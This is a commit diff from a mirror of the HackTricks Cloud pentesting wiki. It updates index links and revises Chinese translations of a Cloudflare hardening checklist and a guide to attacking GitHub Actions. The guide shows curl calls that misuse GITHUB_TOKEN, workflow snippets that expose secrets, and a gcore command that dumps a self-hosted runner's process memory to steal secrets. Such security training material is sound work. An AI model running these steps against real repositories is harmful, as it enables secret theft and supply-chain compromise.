mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-02-05 11:26:11 -08:00
Translated ['src/pentesting-ci-cd/cloudflare-security/cloudflare-domains
This commit is contained in:
@@ -3,8 +3,8 @@
|
||||
# 👽 Welcome!
|
||||
|
||||
- [HackTricks Cloud](README.md)
|
||||
- [About the Author$$external:https://book.hacktricks.xyz/welcome/about-the-author$$]()
|
||||
- [HackTricks Values & faq$$external:https://book.hacktricks.xyz/welcome/hacktricks-values-and-faq$$]()
|
||||
- [About the Author$$external:https://book.hacktricks.wiki/en/welcome/about-the-author.html$$]()
|
||||
- [HackTricks Values & faq$$external:https://book.hacktricks.wiki/en/welcome/hacktricks-values-and-faq.html$$]()
|
||||
|
||||
# 🏭 Pentesting CI/CD
|
||||
|
||||
@@ -408,12 +408,15 @@
|
||||
- [Az - ARM Templates / Deployments](pentesting-cloud/azure-security/az-services/az-arm-templates.md)
|
||||
- [Az - Automation Accounts](pentesting-cloud/azure-security/az-services/az-automation-accounts.md)
|
||||
- [Az - Azure App Services](pentesting-cloud/azure-security/az-services/az-app-services.md)
|
||||
- [Az - CosmosDB](pentesting-cloud/azure-security/az-services/az-cosmosDB.md)
|
||||
- [Az - Intune](pentesting-cloud/azure-security/az-services/intune.md)
|
||||
- [Az - File Shares](pentesting-cloud/azure-security/az-services/az-file-shares.md)
|
||||
- [Az - Function Apps](pentesting-cloud/azure-security/az-services/az-function-apps.md)
|
||||
- [Az - Key Vault](pentesting-cloud/azure-security/az-services/az-keyvault.md)
|
||||
- [Az - Logic Apps](pentesting-cloud/azure-security/az-services/az-logic-apps.md)
|
||||
- [Az - Management Groups, Subscriptions & Resource Groups](pentesting-cloud/azure-security/az-services/az-management-groups-subscriptions-and-resource-groups.md)
|
||||
- [Az - MySQL](pentesting-cloud/azure-security/az-services/az-mysql.md)
|
||||
- [Az - PostgreSQL](pentesting-cloud/azure-security/az-services/az-postgresql.md)
|
||||
- [Az - Queue Storage](pentesting-cloud/azure-security/az-services/az-queue-enum.md)
|
||||
- [Az - Service Bus](pentesting-cloud/azure-security/az-services/az-servicebus-enum.md)
|
||||
- [Az - SQL](pentesting-cloud/azure-security/az-services/az-sql.md)
|
||||
@@ -442,9 +445,12 @@
|
||||
- [Az - Primary Refresh Token (PRT)](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md)
|
||||
- [Az - Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/README.md)
|
||||
- [Az - Blob Storage Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md)
|
||||
- [Az - CosmosDB](pentesting-cloud/azure-security/az-services/az-cosmosDB-post-exploitation.md)
|
||||
- [Az - File Share Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-file-share-post-exploitation.md)
|
||||
- [Az - Function Apps Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-function-apps-post-exploitation.md)
|
||||
- [Az - Key Vault Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-key-vault-post-exploitation.md)
|
||||
- [Az - MySQL](pentesting-cloud/azure-security/az-services/az-mysql-post-exploitation.md)
|
||||
- [Az - PostgreSQL](pentesting-cloud/azure-security/az-services/az-postgresql-post-exploitation.md)
|
||||
- [Az - Queue Storage Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-queue-post-exploitation.md)
|
||||
- [Az - Service Bus Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-servicebus-post-exploitation.md)
|
||||
- [Az - Table Storage Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-table-storage-post-exploitation.md)
|
||||
@@ -454,17 +460,20 @@
|
||||
- [Az - Azure IAM Privesc (Authorization)](pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md)
|
||||
- [Az - App Services Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md)
|
||||
- [Az - Automation Accounts Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md)
|
||||
- [Az - CosmosDB](pentesting-cloud/azure-security/az-services/az-cosmosDB-privesc.md)
|
||||
- [Az - EntraID Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md)
|
||||
- [Az - Conditional Access Policies & MFA Bypass](pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md)
|
||||
- [Az - Dynamic Groups Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/dynamic-groups.md)
|
||||
- [Az - Functions App Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md)
|
||||
- [Az - Key Vault Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-key-vault-privesc.md)
|
||||
- [Az - MySQL](pentesting-cloud/azure-security/az-services/az-mysql-privesc.md)
|
||||
- [Az - PostgreSQL](pentesting-cloud/azure-security/az-services/az-postgresql-privesc.md)
|
||||
- [Az - Queue Storage Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-queue-privesc.md)
|
||||
- [Az - Service Bus Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-servicebus-privesc.md)
|
||||
- [Az - Virtual Machines & Network Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md)
|
||||
- [Az - Static Web App Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-static-web-apps-privesc.md)
|
||||
- [Az - Storage Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md)
|
||||
- [Az - SQL Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-sql-privesc.md)
|
||||
- [Az - Virtual Machines & Network Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md)
|
||||
- [Az - Persistence](pentesting-cloud/azure-security/az-persistence/README.md)
|
||||
- [Az - Queue Storage Persistence](pentesting-cloud/azure-security/az-persistence/az-queue-persistance.md)
|
||||
- [Az - VMs Persistence](pentesting-cloud/azure-security/az-persistence/az-vms-persistence.md)
|
||||
@@ -501,8 +510,8 @@
|
||||
|
||||
# 🛫 Pentesting Network Services
|
||||
|
||||
- [HackTricks Pentesting Network$$external:https://book.hacktricks.xyz/generic-methodologies-and-resources/pentesting-network$$]()
|
||||
- [HackTricks Pentesting Services$$external:https://book.hacktricks.xyz/network-services-pentesting/pentesting-ssh$$]()
|
||||
- [HackTricks Pentesting Network$$external:https://book.hacktricks.wiki/en/generic-methodologies-and-resources/pentesting-network/index.html$$]()
|
||||
- [HackTricks Pentesting Services$$external:https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-ssh.html$$]()
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -22,9 +22,9 @@
|
||||
- [ ] 检查 **未被代理** 的网页
|
||||
- [ ] 检查可以通过 CNAME 或 IP 地址 **直接访问的代理网页**
|
||||
- [ ] 检查 **DNSSEC** 是否 **启用**
|
||||
- [ ] 检查 **所有 CNAME** 中是否 **使用 CNAME 扁平化**
|
||||
- [ ] 检查所有 CNAME 是否 **使用 CNAME 扁平化**
|
||||
- 这可能有助于 **隐藏子域名接管漏洞** 并改善加载时间
|
||||
- [ ] 检查域名 [**是否易受欺骗**](https://book.hacktricks.xyz/network-services-pentesting/pentesting-smtp#mail-spoofing)
|
||||
- [ ] 检查域名 [**是否易受欺骗**](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-smtp/index.html#mail-spoofing)
|
||||
|
||||
### **电子邮件**
|
||||
|
||||
@@ -44,7 +44,7 @@ TODO
|
||||
#### 边缘证书
|
||||
|
||||
- [ ] **始终使用 HTTPS** 应该 **启用**
|
||||
- [ ] **HTTP 严格传输安全 (HSTS)** 应该 **启用**
|
||||
- [ ] **HTTP 严格传输安全(HSTS)** 应该 **启用**
|
||||
- [ ] **最低 TLS 版本应为 1.2**
|
||||
- [ ] **TLS 1.3 应该启用**
|
||||
- [ ] **自动 HTTPS 重写** 应该 **启用**
|
||||
@@ -66,12 +66,12 @@ TODO
|
||||
#### **CloudFlare DDoS 保护**
|
||||
|
||||
- 如果可以,启用 **机器人战斗模式** 或 **超级机器人战斗模式**。如果您保护某个通过编程访问的 API(例如,从 JS 前端页面),您可能无法在不破坏该访问的情况下启用此功能。
|
||||
- 在 **WAF**:您可以通过 URL 路径创建 **速率限制** 或对 **已验证的机器人**(速率限制规则),或根据 IP、Cookie、引荐来源等 **阻止访问**。因此,您可以阻止不来自网页或没有 Cookie 的请求。
|
||||
- 在 **WAF**:您可以根据 URL 路径创建 **速率限制** 或对 **已验证的机器人**(速率限制规则),或根据 IP、Cookie、引荐来源等 **阻止访问**。因此,您可以阻止不来自网页或没有 Cookie 的请求。
|
||||
- 如果攻击来自 **已验证的机器人**,至少 **添加速率限制** 到机器人。
|
||||
- 如果攻击是针对 **特定路径**,作为预防机制,在该路径中添加 **速率限制**。
|
||||
- 您还可以在 WAF 的 **工具** 中 **白名单** IP 地址、IP 范围、国家或 ASN。
|
||||
- 检查 **托管规则** 是否也可以帮助防止漏洞利用。
|
||||
- 在 **工具** 部分,您可以 **阻止或对特定 IP** 和 **用户代理** 提出挑战。
|
||||
- 在 **工具** 部分,您可以 **阻止或对特定 IP 和用户代理发出挑战**。
|
||||
- 在 DDoS 中,您可以 **覆盖某些规则以使其更严格**。
|
||||
- **设置**:将 **安全级别** 设置为 **高**,如果您处于攻击中并且 **浏览器完整性检查已启用**,则设置为 **正在攻击**。
|
||||
- 在 Cloudflare Domains -> Analytics -> Security -> 检查 **速率限制** 是否启用
|
||||
@@ -93,7 +93,7 @@ _我找不到与安全相关的任何选项_
|
||||
|
||||
### **Workers 路由**
|
||||
|
||||
_您应该已经检查过_ [_cloudflare workers_](./#workers)
|
||||
_您应该已经检查过_ [_cloudflare workers_](#workers)
|
||||
|
||||
### 规则
|
||||
|
||||
@@ -103,7 +103,7 @@ TODO
|
||||
|
||||
- [ ] 如果 **`HTTP/2`** 已 **启用**,则 **`HTTP/2 到源`** 应该 **启用**
|
||||
- [ ] **`HTTP/3 (使用 QUIC)`** 应该 **启用**
|
||||
- [ ] 如果您 **用户的隐私** 重要,请确保 **`洋葱路由`** 已 **启用**
|
||||
- [ ] 如果 **用户** 的 **隐私** 重要,请确保 **`洋葱路由`** 已 **启用**
|
||||
|
||||
### **流量**
|
||||
|
||||
@@ -117,7 +117,7 @@ TODO
|
||||
|
||||
TODO
|
||||
|
||||
### 抓取保护
|
||||
### Scrape Shield
|
||||
|
||||
- [ ] 检查 **电子邮件地址模糊化** 是否 **启用**
|
||||
- [ ] 检查 **服务器端排除** 是否 **启用**
|
||||
|
||||
@@ -11,7 +11,7 @@
|
||||
- 拥有 **创建 action** 的权限
|
||||
- 滥用与 **拉取请求** 相关的触发器
|
||||
- 滥用 **其他外部访问** 技术
|
||||
- 从已经被攻陷的仓库 **进行横向渗透**
|
||||
- 从已被攻陷的仓库 **进行横向渗透**
|
||||
- 最后,关于 **从内部滥用 action 的后渗透技术** 的一节(因为提到的影响)
|
||||
|
||||
## 影响摘要
|
||||
@@ -28,11 +28,11 @@
|
||||
|
||||
## GITHUB_TOKEN
|
||||
|
||||
这个 "**秘密**"(来自 `${{ secrets.GITHUB_TOKEN }}` 和 `${{ github.token }}`)是在管理员启用此选项时提供的:
|
||||
这个 "**秘密**"(来自 `${{ secrets.GITHUB_TOKEN }}` 和 `${{ github.token }}`)在管理员启用此选项时提供:
|
||||
|
||||
<figure><img src="../../../images/image (86).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
这个令牌与 **Github 应用程序使用的令牌** 相同,因此可以访问相同的端点:[https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps)
|
||||
这个令牌与 **Github 应用程序使用的令牌相同**,因此可以访问相同的端点:[https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps)
|
||||
|
||||
> [!WARNING]
|
||||
> Github 应该发布一个 [**流程**](https://github.com/github/roadmap/issues/74),**允许跨仓库** 访问 GitHub,以便一个仓库可以使用 `GITHUB_TOKEN` 访问其他内部仓库。
|
||||
@@ -56,7 +56,7 @@ https://api.github.com/repos/<org_name>/<repo_name>/pulls/<pr_number>/merge \
|
||||
-d "{\"commit_title\":\"commit_title\"}"
|
||||
```
|
||||
{{#endtab }}
|
||||
{{#tab name="批准 PR" }}
|
||||
{{#tab name="Approve PR" }}
|
||||
```bash
|
||||
# Approve a PR
|
||||
curl -X POST \
|
||||
@@ -81,7 +81,7 @@ https://api.github.com/repos/<org_name>/<repo_name>/pulls \
|
||||
{{#endtabs }}
|
||||
|
||||
> [!CAUTION]
|
||||
> 请注意,在多个情况下,您将能够在 **Github Actions 环境或秘密中找到 github 用户令牌**。这些令牌可能会让您对存储库和组织拥有更多权限。
|
||||
> 请注意,在多个场合中,您可能会在 **Github Actions 的环境变量或秘密中找到 github 用户令牌**。这些令牌可能会让您对仓库和组织拥有更多权限。
|
||||
|
||||
<details>
|
||||
|
||||
@@ -134,16 +134,16 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
|
||||
```
|
||||
</details>
|
||||
|
||||
可以通过**检查日志**来查看其他用户仓库中Github Token的权限:
|
||||
可以通过**检查日志**来查看其他用户仓库中给予Github Token的权限:
|
||||
|
||||
<figure><img src="../../../images/image (286).png" alt="" width="269"><figcaption></figcaption></figure>
|
||||
|
||||
## 允许的执行
|
||||
|
||||
> [!NOTE]
|
||||
> 这是妥协Github actions的最简单方法,因为这种情况假设您有**在组织中创建新仓库的权限**,或对某个仓库有**写入权限**。
|
||||
> 这是妥协Github actions的最简单方法,因为这种情况假设您有**在组织中创建新仓库的权限**,或对某个仓库有**写权限**。
|
||||
>
|
||||
> 如果您处于这种情况,您可以查看[Post Exploitation techniques](./#post-exploitation-techniques-from-inside-an-action)。
|
||||
> 如果您处于这种情况,您可以直接查看[Post Exploitation techniques](#post-exploitation-techniques-from-inside-an-action)。
|
||||
|
||||
### 从仓库创建执行
|
||||
|
||||
@@ -153,7 +153,7 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
|
||||
|
||||
如果您可以**在已经配置了Github Action的仓库中创建新分支**,您可以**修改**它,**上传**内容,然后**从新分支执行该操作**。这样您可以**提取仓库和组织级别的秘密**(但您需要知道它们的名称)。
|
||||
|
||||
您可以在**手动**时使修改后的操作可执行,当**PR被创建**或当**某些代码被推送**时(具体取决于您想要多吵闹):
|
||||
您可以在**手动**时使修改后的操作可执行,当**PR被创建**或**某些代码被推送**时(具体取决于您想要多吵闹):
|
||||
```yaml
|
||||
on:
|
||||
workflow_dispatch: # Launch manually
|
||||
@@ -181,33 +181,33 @@ branches:
|
||||
> [!NOTE]
|
||||
> 由于**默认限制**适用于**首次**贡献者,您可以通过**修复有效的错误/拼写错误**来贡献,然后发送**其他PR以滥用您新的`pull_request`权限**。
|
||||
>
|
||||
> **我测试过,这不行**:~~另一个选项是创建一个与曾经为该项目贡献的人同名的账户,然后删除他的账户。~~
|
||||
> **我测试过,这不管用**:~~另一个选项是创建一个与曾经为该项目贡献的人同名的账户,然后删除他的账户。~~
|
||||
|
||||
此外,默认情况下**防止写权限**和**对目标仓库的秘密访问**,如[**文档**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories)中所述:
|
||||
|
||||
> 除了`GITHUB_TOKEN`,**在从**forked**仓库触发工作流时,**秘密不会传递给运行器**。在来自**forked**仓库的拉取请求中,**`GITHUB_TOKEN`具有只读权限**。
|
||||
> 除了`GITHUB_TOKEN`,**在从**forked**仓库触发工作流时,**秘密不会传递给运行器**。在**forked**仓库的拉取请求中,**`GITHUB_TOKEN`具有只读权限**。
|
||||
|
||||
攻击者可以修改Github Action的定义,以执行任意操作并附加任意操作。然而,由于上述限制,他将无法窃取秘密或覆盖仓库。
|
||||
|
||||
> [!CAUTION]
|
||||
> **是的,如果攻击者在PR中更改将被触发的github action,他的Github Action将被使用,而不是来自源仓库的那个!**
|
||||
> **是的,如果攻击者在PR中更改将被触发的github action,他的Github Action将被使用,而不是源仓库的!**
|
||||
|
||||
由于攻击者还控制着被执行的代码,即使在`GITHUB_TOKEN`上没有秘密或写权限,攻击者也可以例如**上传恶意工件**。
|
||||
由于攻击者还控制着被执行的代码,即使`GITHUB_TOKEN`上没有秘密或写权限,攻击者也可以例如**上传恶意工件**。
|
||||
|
||||
### **`pull_request_target`**
|
||||
|
||||
工作流触发器**`pull_request_target`**对目标仓库具有**写权限**和**对秘密的访问**(并且不需要请求权限)。
|
||||
工作流触发器**`pull_request_target`**对目标仓库具有**写权限**和**访问秘密**(并且不需要请求权限)。
|
||||
|
||||
请注意,工作流触发器**`pull_request_target`**在基础上下文中运行,而不是在PR提供的上下文中(以**不执行不受信任的代码**)。有关`pull_request_target`的更多信息,请[**查看文档**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target)。\
|
||||
请注意,工作流触发器**`pull_request_target`**在**基础上下文**中运行,而不是在PR提供的上下文中(以**不执行不受信任的代码**)。有关`pull_request_target`的更多信息,请[**查看文档**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target)。\
|
||||
此外,关于这种特定危险用法的更多信息,请查看这篇[**github博客文章**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/)。
|
||||
|
||||
看起来因为**执行的工作流**是定义在**基础**而不是在PR中的,所以使用**`pull_request_target`**是**安全的**,但有**一些情况并非如此**。
|
||||
看起来因为**执行的工作流**是定义在**基础**中的,而不是在PR中,所以使用**`pull_request_target`**是**安全的**,但有**少数情况是这样**。
|
||||
|
||||
而且这个将具有**对秘密的访问**。
|
||||
而且这个将具有**访问秘密**的权限。
|
||||
|
||||
### `workflow_run`
|
||||
|
||||
[**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run)触发器允许在工作流`完成`、`请求`或`进行中`时从不同的工作流运行一个工作流。
|
||||
[**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run)触发器允许在不同的工作流`完成`、`请求`或`进行中`时运行工作流。
|
||||
|
||||
在这个例子中,配置了一个工作流,在单独的“运行测试”工作流完成后运行:
|
||||
```yaml
|
||||
@@ -217,10 +217,10 @@ workflows: [Run Tests]
|
||||
types:
|
||||
- completed
|
||||
```
|
||||
此外,根据文档:由 `workflow_run` 事件启动的工作流能够 **访问机密并写入令牌,即使之前的工作流没有**。
|
||||
此外,根据文档:由 `workflow_run` 事件启动的工作流能够 **访问机密和写入令牌,即使之前的工作流没有**。
|
||||
|
||||
如果这种工作流 **依赖** 于可以通过 **`pull_request`** 或 **`pull_request_target`** 由外部用户 **触发** 的 **工作流**,则可能会受到攻击。一些脆弱的示例可以在 [**这篇博客**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**中找到。** 第一个示例是 **`workflow_run`** 触发的工作流下载攻击者的代码:`${{ github.event.pull_request.head.sha }}`\
|
||||
第二个示例是 **将** 来自 **不受信任** 代码的 **artifact** 传递给 **`workflow_run`** 工作流,并以使其 **易受 RCE 攻击** 的方式使用该 artifact 的内容。
|
||||
如果这种工作流 **依赖** 于可以通过 **`pull_request`** 或 **`pull_request_target`** 由外部用户 **触发** 的 **工作流**,则可能会受到攻击。一些脆弱的示例可以在 [**这篇博客中找到**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** 第一个示例是 **`workflow_run`** 触发的工作流下载攻击者的代码:`${{ github.event.pull_request.head.sha }}`\
|
||||
第二个示例是 **将** 一个 **工件** 从 **不受信任** 的代码传递到 **`workflow_run`** 工作流,并以使其 **易受 RCE 攻击** 的方式使用该工件的内容。
|
||||
|
||||
### `workflow_call`
|
||||
|
||||
@@ -230,13 +230,13 @@ TODO:检查从 pull_request 执行时使用/下载的代码是否来自原始
|
||||
|
||||
## 滥用分叉执行
|
||||
|
||||
我们已经提到外部攻击者可以使 GitHub 工作流执行的所有方式,现在让我们看看这些执行如果配置不当,可能会被滥用的情况:
|
||||
我们已经提到外部攻击者可以管理 GitHub 工作流执行的所有方式,现在让我们看看如果这些执行配置不当,可能会如何被滥用:
|
||||
|
||||
### 不受信任的检出执行
|
||||
|
||||
在 **`pull_request`** 的情况下,工作流将在 **PR 的上下文中** 执行(因此它将执行 **恶意 PR 的代码**),但需要有人 **首先授权**,并且它将运行时有一些 [限制](./#pull_request)。
|
||||
在 **`pull_request`** 的情况下,工作流将在 **PR 的上下文中** 执行(因此它将执行 **恶意 PR 的代码**),但需要有人 **首先授权**,并且它将运行时有一些 [限制](#pull_request)。
|
||||
|
||||
如果工作流使用 **`pull_request_target` 或 `workflow_run`**,并依赖于可以从 **`pull_request_target` 或 `pull_request`** 触发的工作流,则将执行原始代码库中的代码,因此 **攻击者无法控制执行的代码**。
|
||||
在使用 **`pull_request_target` 或 `workflow_run`** 的工作流中,如果依赖于可以从 **`pull_request_target` 或 `pull_request`** 触发的工作流,则将执行原始代码库中的代码,因此 **攻击者无法控制执行的代码**。
|
||||
|
||||
> [!CAUTION]
|
||||
> 但是,如果 **action** 有一个 **显式的 PR 检出**,将 **从 PR 获取代码**(而不是从基础),它将使用攻击者控制的代码。例如(检查第 12 行,其中下载了 PR 代码):
|
||||
@@ -266,7 +266,7 @@ arg1: ${{ secrets.supersecret }}
|
||||
- uses: fakerepo/comment-on-pr@v1
|
||||
with:
|
||||
message: |
|
||||
谢谢!
|
||||
Thank you!
|
||||
</code></pre>
|
||||
|
||||
潜在的 **不受信任的代码在 `npm install` 或 `npm build` 期间运行**,因为构建脚本和引用的 **包由 PR 的作者控制**。
|
||||
@@ -276,7 +276,7 @@ message: |
|
||||
|
||||
### 上下文脚本注入 <a href="#understanding-the-risk-of-script-injections" id="understanding-the-risk-of-script-injections"></a>
|
||||
|
||||
请注意,有某些 [**GitHub 上下文**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context),其值由创建 PR 的 **用户** **控制**。如果 GitHub action 使用该 **数据执行任何操作**,则可能导致 **任意代码执行:**
|
||||
请注意,有某些 [**GitHub 上下文**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) 的值是由创建 PR 的 **用户** **控制** 的。如果 GitHub action 使用该 **数据执行任何操作**,则可能导致 **任意代码执行:**
|
||||
|
||||
{{#ref}}
|
||||
gh-actions-context-script-injections.md
|
||||
@@ -288,7 +288,7 @@ gh-actions-context-script-injections.md
|
||||
|
||||
如果攻击者能够 **注入任何值** 到这个 **env** 变量中,他可以注入可以在后续步骤中执行代码的环境变量,例如 **LD_PRELOAD** 或 **NODE_OPTIONS**。
|
||||
|
||||
例如([**这个**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) 和 [**这个**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)),想象一个工作流信任上传的 artifact 将其内容存储在 **`GITHUB_ENV`** 环境变量中。攻击者可以上传类似这样的内容来破坏它:
|
||||
例如([**这个**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) 和 [**这个**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)),想象一个工作流信任上传的工件将其内容存储在 **`GITHUB_ENV`** 环境变量中。攻击者可以上传类似这样的内容来破坏它:
|
||||
|
||||
<figure><img src="../../../images/image (261).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
@@ -296,9 +296,9 @@ gh-actions-context-script-injections.md
|
||||
|
||||
#### [dawidd6/action-download-artifact](https://github.com/dawidd6/action-download-artifact)
|
||||
|
||||
正如在 [**这篇博客文章**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks) 中提到的,这个 GitHub Action 允许访问来自不同工作流甚至不同代码库的 artifacts。
|
||||
正如在 [**这篇博客文章**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks) 中提到的,这个 GitHub Action 允许访问来自不同工作流甚至不同代码库的工件。
|
||||
|
||||
问题在于,如果 **`path`** 参数未设置,artifact 将提取到当前目录,并且可能会覆盖稍后在工作流中使用或执行的文件。因此,如果 artifact 存在漏洞,攻击者可以利用这一点来破坏其他信任该 artifact 的工作流。
|
||||
问题在于,如果 **`path`** 参数未设置,工件将提取到当前目录中,并且可能会覆盖后续在工作流中使用或执行的文件。因此,如果工件存在漏洞,攻击者可以利用这一点来破坏其他信任该工件的工作流。
|
||||
|
||||
脆弱工作流的示例:
|
||||
```yaml
|
||||
@@ -344,12 +344,12 @@ path: ./script.py
|
||||
|
||||
### 删除的命名空间仓库劫持
|
||||
|
||||
如果一个账户更改了名称,其他用户在一段时间后可以注册一个具有该名称的账户。如果一个仓库在更改名称之前的**星标少于100个**,Github将允许新注册的用户使用相同的名称创建一个**与已删除的仓库同名的仓库**。
|
||||
如果一个账户更改了名称,其他用户在一段时间后可以注册一个相同名称的账户。如果一个仓库在更改名称之前的**星标少于100个**,Github将允许新注册的用户使用相同的名称创建一个**与被删除的仓库同名的仓库**。
|
||||
|
||||
> [!CAUTION]
|
||||
> 因此,如果一个操作使用来自不存在账户的仓库,攻击者仍然有可能创建该账户并妥协该操作。
|
||||
|
||||
如果其他仓库使用了**来自该用户仓库的依赖项**,攻击者将能够劫持它们。这里有一个更完整的解释:[https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/)
|
||||
如果其他仓库使用了**该用户仓库的依赖项**,攻击者将能够劫持它们。这里有一个更完整的解释:[https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/)
|
||||
|
||||
---
|
||||
|
||||
@@ -368,7 +368,7 @@ gh-actions-cache-poisoning.md
|
||||
|
||||
### 工件中毒
|
||||
|
||||
工作流可以使用**其他工作流甚至仓库的工件**,如果攻击者设法**妥协**了上传工件的Github Action,而该工件随后被另一个工作流使用,他可以**妥协其他工作流**:
|
||||
工作流可以使用**来自其他工作流甚至仓库的工件**,如果攻击者设法**妥协**了上传工件的Github Action,而该工件随后被另一个工作流使用,他可以**妥协其他工作流**:
|
||||
|
||||
{{#ref}}
|
||||
gh-actions-artifact-poisoning.md
|
||||
@@ -394,7 +394,7 @@ gh-actions-artifact-poisoning.md
|
||||
|
||||
如果您正在向脚本中注入内容,了解如何访问秘密是很有趣的:
|
||||
|
||||
- 如果秘密或令牌被设置为**环境变量**,可以通过**`printenv`**直接通过环境访问。
|
||||
- 如果秘密或令牌被设置为**环境变量**,可以通过环境直接使用**`printenv`**访问。
|
||||
|
||||
<details>
|
||||
|
||||
@@ -466,9 +466,9 @@ key: ${{ secrets.PUBLISH_KEY }}
|
||||
|
||||
### 滥用自托管运行器
|
||||
|
||||
查找**在非 GitHub 基础设施中执行的 GitHub Actions**的方法是搜索 GitHub Action 配置 yaml 中的**`runs-on: self-hosted`**。
|
||||
查找**在非 GitHub 基础设施中执行的 Github Actions**的方法是搜索 Github Action 配置 yaml 中的**`runs-on: self-hosted`**。
|
||||
|
||||
**自托管**运行器可能访问**额外敏感信息**,访问其他**网络系统**(网络中的脆弱端点?元数据服务?)或者,即使它是隔离和销毁的,**可能会同时运行多个操作**,恶意操作可能会**窃取其他操作的秘密**。
|
||||
**自托管**运行器可能访问**额外的敏感信息**,访问其他**网络系统**(网络中的脆弱端点?元数据服务?)或者,即使它是隔离和销毁的,**可能会同时运行多个操作**,恶意操作可能会**窃取其他操作的秘密**。
|
||||
|
||||
在自托管运行器中,还可以通过转储其内存来获取**来自 \_Runner.Listener**\_\*\* 进程\*\* 的**秘密**,该进程将在任何步骤中包含工作流的所有秘密:
|
||||
```bash
|
||||
@@ -484,7 +484,7 @@ sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ prin
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Github Action 构建 & 推送 Docker 镜像</summary>
|
||||
<summary>Github Action 构建和推送 Docker 镜像</summary>
|
||||
```yaml
|
||||
[...]
|
||||
|
||||
@@ -525,12 +525,12 @@ docker pull ghcr.io/<org-name>/<repo_name>:<tag>
|
||||
然后,用户可以搜索 **Docker 镜像层中的泄露秘密:**
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics
|
||||
https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html
|
||||
{{#endref}}
|
||||
|
||||
### Github Actions 日志中的敏感信息
|
||||
|
||||
即使 **Github** 尝试 **检测秘密值** 在操作日志中并 **避免显示** 它们,**其他敏感数据** 在操作执行过程中生成的也不会被隐藏。例如,使用秘密值签名的 JWT 除非 [特别配置](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret),否则不会被隐藏。
|
||||
即使 **Github** 尝试 **检测日志中的秘密值** 并 **避免显示** 它们,**其他敏感数据** 在执行操作时生成的内容仍然不会被隐藏。例如,使用秘密值签名的 JWT 除非 [特别配置](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret),否则不会被隐藏。
|
||||
|
||||
## 掩盖你的痕迹
|
||||
|
||||
@@ -543,7 +543,7 @@ GitHub 中的一个组织非常积极地向 GitHub 举报账户。你所需要
|
||||
|
||||
## 工具
|
||||
|
||||
以下工具对于查找 GitHub Action 工作流甚至查找易受攻击的工作流非常有用:
|
||||
